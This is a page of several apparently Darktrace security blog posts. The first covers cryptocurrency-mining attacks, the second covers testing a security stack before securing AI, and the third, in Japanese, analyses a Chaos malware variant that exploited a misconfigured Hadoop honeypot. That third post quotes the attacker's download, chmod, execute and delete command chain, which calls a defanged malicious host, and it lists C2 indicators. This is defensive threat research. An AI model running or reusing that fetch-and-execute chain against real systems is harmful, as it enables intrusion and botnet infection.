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February 12, 2018

The Rise of Cryptocurrency Attacks & Cyber Defense Solutions

Darktrace can detect cryptocurrency-related attacks with machine learning. Identify nefarious use of resources and protect against Coinhive drive-by mining.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO
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12
Feb 2018

Prelude

The last 12 months have shown tremendous volatility in the value of cryptocurrencies, of which Bitcoin is the most prominent example. At the start of 2017, Bitcoin lingered around the $2,000 mark before suddenly taking off, climbing to historic highs of close to $20,000 in December 2017. Demand has since subsided, and at the time of writing, the price of Bitcoin is near to $10,772.

While Bitcoin is the most popular cryptocurrency, numerous alternatives, often called ‘altcoins’ have emerged and grown in value in the last 12 months. For example, Dogecoin, originally created to be a spoof cryptocurrency after a widespread internet meme, reached a notable market capitalization milestone of $2bn in January 2018.

Nowadays it is almost impossible to profitably mine Bitcoin on commodity hardware such as laptops, smartphones or desktop computers. At this late state, it just takes too long to perform the relevant calculations, and the cost of electricity is higher than the anticipated revenue in most cases. Other altcoins such as Monero use different algorithms, making them viable alternatives for aspiring crypto miners. It is often still feasible to mine altcoins on commodity hardware and see a return on investment.

The value of most altcoins is closely tied to the value of Bitcoin and, in many cases, the relationship is broadly proportional – a rise in Bitcoin prompting a similar lift in the altcoins. Monero, which has been rapidly adopted by Darknet markets, has profited from this effect. While Monero was valued at around $10 in January 2017, its price has been pumped up to $419 a year later.

There is much that is still not clear about the cryptocurrency phenomenon. Debate as to its relative value and its status as a currency rages, and will not be resolved any time soon. However, from a cyber security perspective there can be no doubt that the combination of altcoins being mineable on commodity hardware, the fact that mining is now becoming profitable as a side-effect of Bitcoin’s rise, and a maturity in cryptocurrency-related tech has led to a surge in cryptocurrency-related attacks.

Attack vectors

Darktrace has observed an abrupt increase of cryptocurrency-related attacks over the last 12 months. Both the frequency and the diversity of these attacks has grown significantly and largely mirrors the remarkable rise in the value of Bitcoin over that period.

Previously, cyber-criminals monetized their operations via banking Trojans/credit card fraud, selling stolen data and ransomware on the Darknet. However, criminals are notoriously adaptable and will follow the money wherever it leads, leading to an increase in cryptojacking’s popularity.

Cryptocurrency mining might not be as profitable as ransomware is upfront, but it can be secretly pursued for months without creating the havoc that characterizes ransomware attacks. Most users and security products might not notice a cryptocurrency miner being installed on a corporate device as it does not show obvious threats or messages to a user, except for an occasional increase in CPU or RAM usage.

Identifying these attacks can be very difficult for traditional security tools as they were not originally designed to catch this type of threat. Nor was Darktrace, but its approach – which relies on its evolving understanding of patterns of behavior – means that it can detect such attacks without having to know what to look for in advance.

Darktrace has detected a number of different attack vectors related to cryptocurrency attacks.

  1. Nefarious use of corporate resources
    Darktrace has detected a range of incidents where employees were intentionally installing cryptocurrency mining software on their corporate devices to mine for personal gain. These employees do not have to pay for the electricity used to run the corporate device in the office – they are basically turning their employer’s electricity into cash by commandeering it for mining operations.

    This is commonly seen as a compliance breach and increases the attack surface of a device that has mining software installed. It puts the corporate device at risk and also increases operational costs as the power consumption usually goes up for mining devices. The most popular cryptocurrency choices for this kind of mining in the last 12 months were Etherium and Monero – altcoins that can profitably be mined without the need for inordinate electricity.
  2. Coinhive drive-by mining
    Coinhive is a technology that allows website owners to use their visitors’ computing power to mine a tiny fraction of cryptocurrency for the website owner. Visitors will experience a small increase in computer resource consumption while browsing the website. Some websites experiment with this model to create new forms of revenue streams alternative to advertisement and banner placements.

    Coinhive usage is often not an opt-in process. Darktrace has observed various customer devices that regularly visit websites leveraging Coinhive technology. While the power consumption increase for a device browsing a website with Coinhive is ultimately negligible, the cumulative effect of a sizeable portion of the workforce unwittingly browsing websites using Coinhive results in increased power consumption cost for the organization as a whole.
  3. Malicious insider
    A malicious insider compromised his employer’s website to put a Coinhive script on there. This then mined Monero for every visitor on the employer’s website for the malicious insider’s personal gain.
  4. Traditional malware
    Cyber criminals are constantly looking to improve the return on investment of their operations. Reports suggest that criminals are starting to adjust their monetization methods based on the financial means of their targets. Suppose you can’t pay the fee extorted in a ransomware attack? They’ll just install a crypto miner on your device instead to ensure that the attack is not completely fruitless.

    As malware authors become more sophisticated, they often deploy multi-staged malware that can swap weaponized payloads. Once malware has infected a system successfully, its authors can often decide what actions to take next. Encrypt the device and extort a ransom? Install a banking Trojan to harvest credit card details? Install more spyware modules to look for data exfiltration? Or, now, install a cryptocurrency miner.

    These pieces of malware operate stealthily and often go undetected for several weeks. An infection might start with a phishing email that contains a macro-enabled document. As soon as a user enabled the macro, the malware will download a file-less stager that lives in memory and cannot be detected by traditional antivirus. Command and control communication is usually maintained via IP addresses that change on a daily basis in order to outrun threat intelligence and blacklisting attempts. As no obvious damage is done straight away, these attacks often stay under the radar for prolonged times, so long as self-learning technology such as Darktrace is not employed.

    This becomes much more concerning as malware authors could swap one payload for another overnight if they deem it more profitable, switching from a furtive crypto mining Trojan to ransomware the next day. While we have not observed this kind of attack in the wild yet, it is plausible, and in cyberspace what can be done, will be done.

Conclusions

Revolutionary technologies like cryptocurrencies have both their dark and light aspects. For all of the creative energy released by the crypto-blockchain revolution, Bitcoin and its alternatives have quickly become the universal currency of the criminal underworld. Indeed, the former Chief Economist of the World Bank, Joseph Stiglitz – an adamant critic of cryptocurrencies – has said that the whole value of Bitcoin resides in its “potential for circumvention” and “lack of oversight”.

While Stiglitz’s case may be overstated, there can be no question that cyber criminals have sensed a new opportunity to make money. A lot of organizations still regard crypto mining as a compliance incident. This can lead to grave consequences as a cryptocurrency mining device might lead to more severe incidents that can have a serious effect on business operations.

This kind of threat is difficult to detect as no obvious damage is done. However, with Darktrace’s machine learning we can correlate even the weakest indicators of such an attack into a compelling picture of threat. While traditional tools may struggle to see these deviations, Darktrace can pinpoint the changes in behavior effected by cryptocurrency miners without having to rely on any blacklists or signatures.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Max Heinemeyer
Global Field CISO

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April 10, 2026

How to Secure AI and Find the Gaps in Your Security Operations

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What “securing AI” actually means (and doesn’t)

Security teams are under growing pressure to “secure AI” at the same pace which businesses are adopting it. But in many organizations, adoption is outpacing the ability to govern, monitor, and control it. When that gap widens, decision-making shifts from deliberate design to immediate coverage. The priority becomes getting something in place, whether that’s a point solution, a governance layer, or an extension of an existing platform, rather than ensuring those choices work together.

At the same time, AI governance is lagging adoption. 37% of organizations still lack AI adoption policies, shadow AI usage across SaaS has surged, and there are notable spikes in anomalous data uploads to generative AI services.  

First and foremost, it’s important to recognize the dual nature of AI risk. Much of the industry has focused on how attackers will use AI to move faster, scale campaigns, and evade detection. But what’s becoming just as significant is the risk introduced by AI inside the organization itself. Enterprises are rapidly embedding AI into workflows, SaaS platforms, and decision-making processes, creating new pathways for data exposure, privilege misuse, and unintended access across an already interconnected environment.

Because the introduction of complex AI systems into modern, hybrid environments is reshaping attacker behavior and exposing gaps between security functions, the challenge is no longer just having the right capabilities in place but effectively coordinating prevention, detection, investigation, response, and remediation together. As threats accelerate and systems become more interconnected, security depends on coordinated execution, not isolated tools, which is why lifecycle-based approaches to governance, visibility, behavioral oversight, and real-time control are gaining traction.

From cloud consolidation to AI systems what we can learn

We have seen a version of AI adoption before in cloud security. In the early days, tooling fragmented into posture, workload/runtime, identity, data, and more. Gradually, cloud security collapsed into broader cloud platforms. The lesson was clear: posture without runtime misses active threats; runtime without posture ignores root causes. Strong programs ran both in parallel and stitched the findings together in operations.  

Today’s AI wave stretches that lesson across every domain. Adversaries are compressing “time‑to‑tooling” using LLM‑assisted development (“vibecoding”) and recycling public PoCs at unprecedented speed. That makes it difficult to secure through siloed controls, because the risk is not confined to one layer. It emerges through interactions across layers.

Keep in mind, most modern attacks don’t succeed by defeating a single control. They succeed by moving through the gaps between systems faster than teams can connect what they are seeing. Recent exploitation waves like React2Shell show how quickly opportunistic actors operationalize fresh disclosures and chain misconfigurations to monetize at scale.

In the React2Shell window, defenders observed rapid, opportunistic exploitation and iterative payload diversity across a broad infrastructure footprint, strains that outpace signature‑first thinking.  

You can stay up to date on attacker behavior by signing up for our newsletter where Darktrace’s threat research team and analyst community regularly dive deep into threat finds.

Ultimately, speed met scale in the cloud era; AI adds interconnectedness and orchestration. Simple questions — What happened? Who did it? Why? How? Where else? — now cut across identities, SaaS agents, model/service endpoints, data egress, and automated actions. The longer it takes to answer, the worse the blast radius becomes.

The case for a platform approach in the age of AI

Think of security fusion as the connective tissue that lets you prevent, detect, investigate, and remediate in parallel, not in sequence. In practice, that looks like:

  1. Unified telemetry with behavioral context across identities, SaaS, cloud, network, endpoints, and email—so an anomalous action in one plane automatically informs expectations in others. (Inside‑the‑SOC investigations show this pays off when attacks hop fast between domains.)  
  1. Pre‑CVE and “in‑the‑wild” awareness feeding controls before signatures—reducing dwell time in fast exploitation windows.  
  1. Automated, bounded response that can contain likely‑malicious actions at machine speed without breaking workflows—buying analysts time to investigate with full context. (Rapid CVE coverage and exploit‑wave posts illustrate how critical those first minutes are.)  
  1. Investigation workflows that assume AI is in the loop—for both defenders and attackers. As adversaries adopt “agentic” patterns, investigations need graph‑aware, sequence‑aware reasoning to prioritize what matters early.

This isn’t theoretical. It’s reflected in the Darktrace posts that consistently draw readership: timely threat intel with proprietary visibility and executive frameworks that transform field findings into operating guidance.  

The five questions that matter (and the one that matters more)

When alerted to malicious or risky AI use, you’ll ask:

  1. What happened?
  1. Who did it?
  1. Why did they do it?
  1. How did they do it?
  1. Where else can this happen?

The sixth, more important question is: How much worse does it get while you answer the first five? The answer depends on whether your controls operate in sequence (slow) or in fused parallel (fast).

What to watch next: How the AI security market will likely evolve

Security markets tend to follow a familiar pattern. New technologies drive an initial wave of specialized tools (posture, governance, observability) each focused on a specific part of the problem. Over time, those capabilities consolidate as organizations realize the new challenge is coordination.

AI is accelerating the shift of focus to coordination because AI-powered attackers can move faster and operate across more systems at once. Recent exploitation waves show exactly this. Adversaries can operationalize new techniques and move across domains, turning small gaps into full attack paths.

Anticipate a continued move toward more integrated security models because fragmented approaches can’t keep up with the speed and interconnected nature of modern attacks.

Building the Groundwork for Secure AI: How to Test Your Stack’s True Maturity

AI doesn’t create new surfaces as much as it exposes the fragility of the seams that already exist.  

Darktrace’s own public investigations consistently show that modern attacks, from LinkedIn‑originated phishing that pivots into corporate SaaS to multi‑stage exploitation waves like BeyondTrust CVE‑2026‑1731 and React2Shell, succeed not because a single control failed, but because no control saw the whole sequence, or no system was able to respond at the speed of escalation.  

Before thinking about “AI security,” customers should ensure they’ve built a security foundation where visibility, signals, and responses can pass cleanly between domains. That requires pressure‑testing the seams.

Below are the key integration questions and stack‑maturity tests every organization should run.

1. Do your controls see the same event the same way?

Integration questions

  • When an identity behaves strangely (impossible travel, atypical OAuth grants), does that signal automatically inform your email, SaaS, cloud, and endpoint tools?
  • Do your tools normalize events in a way that lets you correlate identity → app → data → network without human stitching?

Why it matters

Darktrace’s public SOC investigations repeatedly show attackers starting in an unmonitored domain, then pivoting into monitored ones, such as phishing on LinkedIn that bypassed email controls but later appeared as anomalous SaaS behavior.

If tools can’t share or interpret each other's context, AI‑era attacks will outrun every control.

Tests you can run

  1. Shadow Identity Test
  • Create a temporary identity with no history.
  • Perform a small but unusual action: unusual browser, untrusted IP, odd OAuth request.
  • Expected maturity signal: other tools (email/SaaS/network) should immediately score the identity as high‑risk.
  1. Context Propagation Test
  • Trigger an alert in one system (e.g., endpoint anomaly) and check if other systems automatically adjust thresholds or sensitivity.
  • Low maturity signal: nothing changes unless an analyst manually intervenes.

2. Does detection trigger coordinated action, or does everything act alone?

Integration questions

  • When one system blocks or contains something, do other systems automatically tighten, isolate, or rate‑limit?
  • Does your stack support bounded autonomy — automated micro‑containment without broad business disruption?

Why it matters

In public cases like BeyondTrust CVE‑2026‑1731 exploitation, Darktrace observed rapid C2 beaconing, unusual downloads, and tunneling attempts across multiple systems. Containment windows were measured in minutes, not hours.  

Tests you can run

  1. Chain Reaction Test
  • Simulate a primitive threat (e.g., access from TOR exit node).
  • Your identity provider should challenge → email should tighten → SaaS tokens should re‑authenticate.
  • Weak seam indicator: only one tool reacts.
  1. Autonomous Boundary Test
  • Induce a low‑grade anomaly (credential spray simulation).
  • Evaluate whether automated containment rules activate without breaking legitimate workflows.

3. Can your team investigate a cross‑domain incident without swivel‑chairing?

Integration questions

  • Can analysts pivot from identity → SaaS → cloud → endpoint in one narrative, not five consoles?
  • Does your investigation tooling use graphs or sequence-based reasoning, or is it list‑based?

Why it matters

Darktrace’s Cyber AI Analyst and DIGEST research highlights why investigations must interpret structure and progression, not just standalone alerts. Attackers now move between systems faster than human triage cycles.  

Tests you can run

  1. One‑Hour Timeline Build Test
  • Pick any detection.
  • Give an analyst one hour to produce a full sequence: entry → privilege → movement → egress.
  • Weak seam indicator: they spend >50% of the hour stitching exports.
  1. Multi‑Hop Replay Test
  • Simulate an incident that crosses domains (phish → SaaS token → data access).
  • Evaluate whether the investigative platform auto‑reconstructs the chain.

4. Do you detect intent or only outcomes?

Integration questions

  • Can your stack detect the setup behaviors before an attack becomes irreversible?
  • Are you catching pre‑CVE anomalies or post‑compromise symptoms?

Why it matters

Darktrace publicly documents multiple examples of pre‑CVE detection, where anomalous behavior was flagged days before vulnerability disclosure. AI‑assisted attackers will hide behind benign‑looking flows until the very last moment.

Tests you can run

  1. Intent‑Before‑Impact Test
  • Simulate reconnaissance-like behavior (DNS anomalies, odd browsing to unknown SaaS, atypical file listing).
  • Mature systems will flag intent even without an exploit.
  1. CVE‑Window Test
  • During a real CVE patch cycle, measure detection lag vs. public PoC release.
  • Weak seam indicator: your detection rises only after mass exploitation begins.

5. Are response and remediation two separate universes?

Integration questions

  • When you contain something, does that trigger root-cause remediation workflows in identity, cloud config, or SaaS posture?
  • Does fixing a misconfiguration automatically update correlated controls?

Why it matters

Darktrace’s cloud investigations (e.g., cloud compromise analysis) emphasize that remediation must close both runtime and posture gaps in parallel.

Tests you can run

  1. Closed‑Loop Remediation Test
  • Introduce a small misconfiguration (over‑permissioned identity).
  • Trigger an anomaly.
  • Mature stacks will: detect → contain → recommend or automate posture repair.
  1. Drift‑Regression Test
  • After remediation, intentionally re‑introduce drift.
  • The system should immediately recognize deviation from known‑good baseline.

6. Do SaaS, cloud, email, and identity all agree on “normal”?

Integration questions

  • Is “normal behavior” defined in one place or many?
  • Do baselines update globally or per-tool?

Why it matters

Attackers (including AI‑assisted ones) increasingly exploit misaligned baselines, behaving “normal” to one system and anomalous to another.

Tests you can run

  1. Baseline Drift Test
  • Change the behavior of a service account for 24 hours.
  • Mature platforms will flag the deviation early and propagate updated expectations.
  1. Cross‑Domain Baseline Consistency Test
  • Compare identity’s risk score vs. cloud vs. SaaS.
  • Weak seam indicator: risk scores don’t align.

Final takeaway

Security teams should ask be focused on how their stack operates as one system before AI amplifies pressure on every seam.

Only once an organization can reliably detect, correlate, and respond across domains can it safely begin to secure AI models, agents, and workflows.

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About the author
Nabil Zoldjalali
VP, Field CISO

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April 8, 2026

ダークトレースは新しいChaosマルウェア亜種によるクラウドの設定ミスのエクスプロイトを発見

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はじめに

敵対者の行動をリアルタイムに観測するため、ダークトレースは“CloudyPots”と呼ばれるグローバルなハニーポットネットワークを運用しています。CloudyPotsは幅広いサービス、プロトコル、クラウドプラットフォームに渡って悪意あるアクティビティを捕捉するように設計されています。こうしたハニーポットはインターネットに接続されているインフラを狙う脅威のテクニック、ツール、マルウェアについて貴重な情報を提供してくれます。

ダークトレースのハニーポット内で標的とされたソフトウェアの一例は、Apacheが開発したオープンソースフレームワークであり、コンピュータクラスタで大規模なデータセットの分散処理を可能にするHadoopです。ダークトレースのハニーポット環境では、攻撃者がサービス上でリモートコードを実行できるよう、Hadoopインスタンスが意図的に誤設定されています。2026年3月に観測されたサンプルにより、ダークトレースはChaosマルウェアに関連する活動を特定し、詳しく調査することができました。

Chaosマルウェアとは?

Lumen社のBlack Lotus Labsで最初に発見されたChaosは、Goベースのマルウェアです[1]。サンプル内の文字列に中国語の文字が含まれていることや、zh-CNロケールのインジケーターが存在することから、中国起源であると推測されています。コードの重複があることから、ChaosはKaijiボットネットの進化形である可能性が高いと見られます。

Chaosはこれまでルーターを標的としており、主にSSHブルートフォース攻撃やルーターソフトウェアの既知のCVE(共通脆弱性識別子)を通じて拡散します。その後感染したデバイスをDDoS(分散型サービス拒否攻撃)ボットネットや、暗号通貨マイニングに使用します。  

Chaosマルウェア侵害についてのダークトレースの視点

攻撃は脅威アクターがHadoop環境上のエンドポイントに対して新しいアプリケーションを作成するリクエストを送信したことから始まりました。

The initial infection being delivered to the unsecured endpoint.
図1:保護されていないエンドポイントへの最初の感染

これは新しいアプリケーションを定義するもので、最初のコマンドをコンテナ内で実行することがam-container-specセクションのコマンドフィールドで指定されています。これによりいくつかのシェルコマンドが起動されます:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - ファイルを攻撃者のサーバーからダウンロードします。この例ではChaosエージェントマルウェア実行形式です。
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - すべてのユーザーが読み取り、書き込み、マルウェアを実行できる権限を設定します。
  • ./7c49006c2e417f20c732409ead2d6cc0. - マルウェアを実行します。
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - 活動の痕跡を消すためにマルウェアファイルをディスクから削除します。

実際には、このアプリケーションが作成されると、攻撃者が定義したバイナリが攻撃者のサーバーからダウンロードされ、システム上で実行され、その後、フォレンジックデータ収集を防ぐために削除されます。ドメイン pan.tenire[.]com は以前、“Operation Silk Lure”と呼ばれる別のキャンペーンで観測されています。これは悪意のある求人応募履歴書を通じて ValleyRATというリモートアクセス型トロイの木馬(RAT)を配布していました。Chaosと同様に、このキャンペーンでは、偽の履歴書自体を含め、攻撃ステージ全体にわたって大量の漢字が使用されていました。このドメインは107[.]189.10.219に解決されます。これは低コストのVPSサービスを提供することで知られるプロバイダー、BuyVMのルクセンブルク拠点でホストされている仮想プライベートサーバー(VPS)です。

アップデートされたChaosマルウェアサンプルの分析

Chaosはこれまでルーターやその他のエッジデバイスを標的としており、Linuxサーバー環境の侵害は比較的新しい方向性です。ダークトレースがこの侵害で観測したサンプルは64ビットのELFバイナリですが、ルーターのハードウェアの大部分は通常ARM、MIPS、またはPowerPCアーキテクチャで動作し、多くは32ビットです。

この攻撃に使用されたマルウェアのサンプルは、以前のバージョンと比べて著しい再構築が行われています。デフォルトの名前空間は“main_chaos”から単に“main”に変更され、またいくつかの関数が再設計されています。これらの変更が行われていますが、systemdを介して確立される永続化メカニズムや、悪意のあるキープアライブスクリプトが/boot/system.pubに保存されるなど、中心的な特徴は維持されています。

The creation of the systemd persistence service.
図2:systemd 永続化サービスの作成

同様に、DDoS攻撃を実行する関数もこれまで通り存在し、以下のプロトコルを標的とするメソッドが含まれています:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

ただし、SSHスプレッダーや脆弱性エクスプロイトなどのいくつかの機能は削除されたようです。さらに、以前はKaijiから継承されたと考えられていたいくつかの機能も変更されており、脅威アクターがマルウェアを書き直したか、大幅にリファクタリングしたことを示唆しています。

このマルウェアの新しい機能はSOCKSプロキシです。マルウェアがコマンド&コントロール(C2)サーバーからStartProxyコマンドを受信すると、攻撃者が制御するTCPポートで待ち受けを開始し、SOCKS5プロキシとして動作します。これにより、攻撃者は侵害されたサーバーを経由してトラフィックをルーティングし、それをプロキシとして使用することが可能になります。この機能にはいくつかの利点があります。被害者のインターネット接続から攻撃を開始できるため、活動が攻撃者ではなく被害者から発生しているように見せかけられること、また侵害されたサーバーからのみアクセス可能な内部ネットワークに移動できる点です。

The command processor for StartProxy. Due to endianness, the string is reversed.
図3:StartProxyのコマンドプロセッサ。エンディアン性のため文字列が反転しています

以前、他のDDoSボットネット、たとえばAisuruなどでは、他のサイバー犯罪者にプロキシサービスを提供するためにピボットしているケースがありました。Chaosの開発者はこの傾向に注目し、同様の機能を追加することで収益化のオプションを拡大、自らのボットネットの機能を強化することにより、他の競合するマルウェア運営者から遅れをとらないようにしたものと思われます。

サンプルには埋め込みドメイン、gmserver.osfc[.]org[.]cnが含まれており、C2サーバーのIPを解決するために使用されていました。本稿執筆の時点ではドメインは70[.]39.181.70に解決され、これは地理位置情報が香港にあるNetLabelGlobalが所有するIPです。

過去には、このドメインは154[.]26.209.250にも解決されており、これは専用サーバーレンタルを提供する低コストVPSプロバイダー、Kurun Cloudが所有していました。マルウェアはコマンドの送信および受信にポート65111を使用しますが、どちらのIPも本稿執筆時点ではこのポート上で接続を受け入れている様子はありませんでした。

主なポイント

Chaosは新しいマルウェアではなく、その継続的進化はサイバー犯罪者がボットネットをさらに拡大し機能を強化しようと努力を重ねていることの現れです。過去に報告されているChaosマルウェアにも、すでに幅広いルーターCVEのエクスプロイト機能が含まれていました。そして最近のLinuxクラウドサーバー脆弱性を狙った進化により、このマルウェアの影響範囲はさらに広がります。

したがって、セキュリティチームがCVEへのパッチを行い、クラウド上で展開されているアプリケーションに対して強固なセキュリティ設定を行うことが重要となります。クラウド市場が成長を続ける一方で、使用できるセキュリティツールが追い付かない状況においてこのことは特に重要な意味を持ちます。

AisuruやChaos等のボットネットがプロキシサービスをコア機能に取り入れる最近の変化は、ボットネットが組織とセキュリティチームにもたらすリスクはもはやDoS攻撃だけではないことを意味します。プロキシにより攻撃者はレート制限を回避し痕跡を隠すことができ、より複雑な形のサイバー犯罪が可能になると同時に、防御者にとっては悪意あるキャンペーンを検知しブロックすることが格段に難しくなります。

担当: Nathaniel Bill (Malware Research Engineer)
編集: Ryan Traill (Content Manager)

侵害インジケーター (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos マルウェアハッシュ

182[.]90.229.95 - 攻撃者 IP

pan.tenire[.]com (107[.]189.10.219) - 悪意あるバイナリをホストしているサーバー

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - 攻撃者 C2 サーバー

参考資料

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer
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